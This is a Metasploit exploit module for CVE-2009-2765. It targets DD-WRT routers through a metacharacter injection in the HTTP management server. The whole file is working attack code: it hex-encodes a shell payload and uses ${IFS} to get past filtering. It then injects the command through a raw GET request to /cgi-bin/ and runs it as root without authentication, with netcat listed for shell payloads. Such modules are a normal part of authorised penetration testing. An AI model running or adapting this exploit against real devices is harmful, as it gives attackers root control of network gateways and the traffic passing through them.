DD-WRT HTTP Daemon Arbitrary Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /DD-WRT/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
        'Description' => %q{
          This module abuses a metacharacter injection vulnerability in the
          HTTP management server of wireless gateways running DD-WRT. This flaw
          allows an unauthenticated attacker to execute arbitrary commands as
          the root user account.
        },
        'Author' => [ 'gat3way', 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-2765' ],
          [ 'OSVDB', '55990' ],
          [ 'BID', '35742' ],
          [ 'EDB', '9209' ]
        ],
        'Platform' => ['unix'],
        'Arch' => ARCH_CMD,
        'Privileged' => true,
        'Payload' => {
          'Space' => 1024,
          'DisableNops' => true,
          'Compat' =>
                        {
                          'RequiredCmd' => 'generic netcat netcat-e'
                        }
        },
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-07-20',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    cmd = payload.encoded.unpack("C*").map { |c| "\\x%.2x" % c }.join
    # TODO: force use of echo-ne CMD encoder
    str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"

    print_status("Sending GET request with encoded command line...")
    send_request_raw({ 'uri' => "/cgi-bin/;#{str}" })

    print_status("Giving the handler time to run...")
    handler

    select(nil, nil, nil, 10.0)
  end
end